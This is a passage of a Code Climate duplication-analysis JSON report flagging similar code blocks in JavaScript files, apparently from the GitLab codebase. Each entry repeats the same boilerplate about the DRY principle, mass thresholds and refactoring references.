[Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"47474e924fc42a7e0f1319c7a8ae13d3","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/u2f/authenticate.js","lines":{"begin":81,"end":87}},"remediation_points":1080000,"other_locations":[{"path":"app/assets/javascripts/u2f/register.js","lines":{"begin":71,"end":77}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 71**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"aade96d11a83331446e70683959d49ec","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":381,"end":385}},"remediation_points":1050000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":418,"end":422}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 70**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fdc3dab0afea85797bddfc16706a3869","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":418,"end":422}},"remediation_points":1050000,"other_locations":[{"path":"app/assets/javascripts/behaviors/markdown/copy_as_gfm.js","lines":{"begin":381,"end":385}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 70**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"fdc3dab0afea85797bddfc16706a3869","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/getters.js","lines":{"begin":80,"end":83}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/getters.js","lines":{"begin":84,"end":87}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"85e1a20133858d47a7f4a64e49080aef","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/getters.js","lines":{"begin":84,"end":87}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/getters.js","lines":{"begin":80,"end":83}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"85e1a20133858d47a7f4a64e49080aef","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/frequent_items/constants.js","lines":{"begin":18,"end":28}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/frequent_items/constants.js","lines":{"begin":29,"end":37}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2c7c7576a99db4f904055a712b428b46","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/frequent_items/constants.js","lines":{"begin":29,"end":37}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/frequent_items/constants.js","lines":{"begin":18,"end":28}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2c7c7576a99db4f904055a712b428b46","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/groups/index.js","lines":{"begin":79,"end":89}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/environments/folder/environments_folder_bundle.js","lines":{"begin":24,"end":34}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b80cd93182a7ed27e84c9e59840d8f01","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/environments/folder/environments_folder_bundle.js","lines":{"begin":24,"end":34}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/groups/index.js","lines":{"begin":79,"end":89}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2beaf3990d7c635f7339eb68a668c3a8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/file_templates/actions.js","lines":{"begin":9,"end":20}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/commit/actions.js","lines":{"begin":202,"end":213}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"9441eb5a1202300a1a6bfdd0f0275a31","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/ide/stores/modules/commit/actions.js","lines":{"begin":202,"end":213}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/ide/stores/modules/file_templates/actions.js","lines":{"begin":9,"end":20}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"f657ac30a9ca0e466c504f33ae3363a1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":259,"end":264}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":264,"end":269}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"40a4102731fea710642a925d4403b398","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":264,"end":269}},"remediation_points":1020000,"other_locations":[{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":259,"end":264}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 69**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving 